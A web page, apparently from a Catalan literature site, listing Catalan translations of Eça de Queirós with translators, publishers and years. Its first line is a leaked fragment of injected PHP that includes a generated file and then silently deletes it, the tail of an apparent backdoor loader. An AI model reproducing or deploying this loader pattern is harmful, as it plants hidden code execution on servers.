");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Literatura universal en catalán - Eça de Queirós
Facebook Twitter

Traduccions al català de Eça de Queirós

  • El penjat.Traducció de Jordi Finestrelles. Barcelona:Editorial Castells, 1920.
  • Una mosseta rossa. Traducció de Jordi Finestrelles. Barcelona: 192?.
  • La dida. Traducció de Jordi Finestrelles. Barcelona: Editorial Castells, 192?.
  • Josep Matias. Traducció de Jordi Finestrelles. Barcelona:Editorial Castells,192?.
  • El difunt. Barcelona: Imp. Rafols, 1920.
  • Dolç Miracle[Manuscrit]. Traducció de Narcís Oller. Barcelona: Editorial Catalana, 1921.
  • L’Emperador Guillem [Manuscrit]. Traducció de Narcís Oller. Barcelona: Editorial Catalana, 1921.
  • De Port-Said a Suez [Manuscrit]. Traducció de Narcís Oller. Barcelona: Editorial Catalana, 1921.
  • El Mandarí.Traducció de Jordi Moners. València:Tres i quatre,1992.
  • El Cosí Basílio. Traducció de Xavier Pàmies. Barcelona:Quaderns Crema,2000.
  • El crim de Mossèn Amaro.Traducció de Xavier Pàmies. Barcelona: Quaderns Crema, 2001.
  • La correspondència de Fradique Mendes. Traducció de Jordi Cerdà Subirachs. Barcelona: Columna, 2002.
  • La Il·lustre casa dels Ramires. Traducció de Xavier Pàmies; Pròleg d’Elena Losada. Barcelona: Destino, 2006.
  • Els Maia: (episodis de la vida romàntica). Traducció de Manuel Lobo; Epíleg de Pere Comellas. Madrid: Funambulista, 2007.
  • La ciutat i la muntanya.Traducció de Pere Comellas. Andorra la Vella:Premsa Andorrana,2010.
  • La ciutat i les serres.Traducció de Marta Ferré i Antoni Picornell. Mallorca: Gall Editor, 2011.

Bibliografia recopilada per Clàdia Bochaca
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Con el soporte de: